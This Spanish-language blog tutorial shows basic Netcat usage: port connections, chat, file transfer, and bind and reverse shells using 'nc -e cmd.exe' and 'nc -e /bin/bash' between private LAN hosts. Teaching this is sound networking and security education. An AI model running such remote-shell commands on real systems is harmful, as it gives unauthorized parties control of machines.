Road to SRE

Uso básico de Netcat

Netcat es una herramienta de análisis de red que permite abrir puertos, transferir archivos, chatear, obtener una shell de un host remoto y muchas cosas mas.

Después de esta rápida intro. Empecemos con el código!

programmer_gif


🔹 Para conectarnos a un puerto de un host.

  • Ejemplo: Vamos a conectarnos al puerto 21 (FTP) de un host con IP: 192.168.0.100
nc -nv 192.168.0.100 21

🔹 Para chatear desde dos hosts distintos a través de un puerto.

  • Ejemplo: Para este ejemplo vamos a utilizar el puerto 4444 y dos hosts:

    • host1: 192.168.0.100
    • host2: 192.168.0.101

En host1 ejecutamos:

nc -nvlp 4444

En host2 ejecutamos:

nc -nv 192.168.0.100 4444

Desde este momento ambos equipos estarán conectados al puerto 4444 y todo lo que se escriba en uno será transmitido al otro. La comunicación es bidireccional.

Para cortar la conexión. Basta con pulsar CTRL + C


🔹 Para transferir archivos entre dos hosts a traves de un puerto.

  • Ejemplo: Para este ejemplo vamos a utilizar el puerto 4444 y dos hosts:

    • host1: 192.168.0.100
    • host2: 192.168.0.101

Desde host1 vamos a recibir un fichero. A través del puerto 4444. Para ello ejecutamos:

nc -nvlp 4444 > archivo_recibido.txt

En host2 vamos a enviar el fichero por medio del mismo puerto. Para ello ejecutamos:

nc -nv 192.168.0.100 4444 < archivo_enviado.txt

🔹 Bind Shell: conectarnos a la shell de un servidor por medio de un puerto

  • Ejemplo: Para este ejemplo vamos a utilizar el puerto 4444 y dos hosts:

    • host1: 192.168.0.100 -> En este caso usaremos un Windows.
    • host2: 192.168.0.101 -> En este caso será un Linux.

Desde host1 vamos a servir la shell. A través del puerto 4444. Para ello ejecutamos:

nc -nvlp 4444 -e cmd.exe

En host2 vamos a conectarnos al puerto indicado para tomar el control de la shell. Para ello ejecutamos:

nc -nv 192.168.0.100 4444

En cuanto se ejecute lo anterior. Tendremos el control de la shell de host1 (Windows). Desde host2 (Linux).


🔹 Reverse Shell: servir la shell de un servidor por medio de un puerto.

  • Ejemplo: Para este ejemplo vamos a utilizar el puerto 4444 y dos hosts Linux:

    • host1: 192.168.0.100
    • host2: 192.168.0.101

Desde host1 vamos a levantar el puerto 4444 para que este escuchando. Para ello ejecutamos:

nc -nvlp 4444

En host2 vamos a servir una shell a través del puerto indicado. Para ello ejecutamos:

nc -nv 192.168.0.100 4444 -e /bin/bash

En cuanto se ejecute lo anterior. Desde host1 podremos tener el control de la shell ofrecida por host2.


over 3 years ago

Barck Code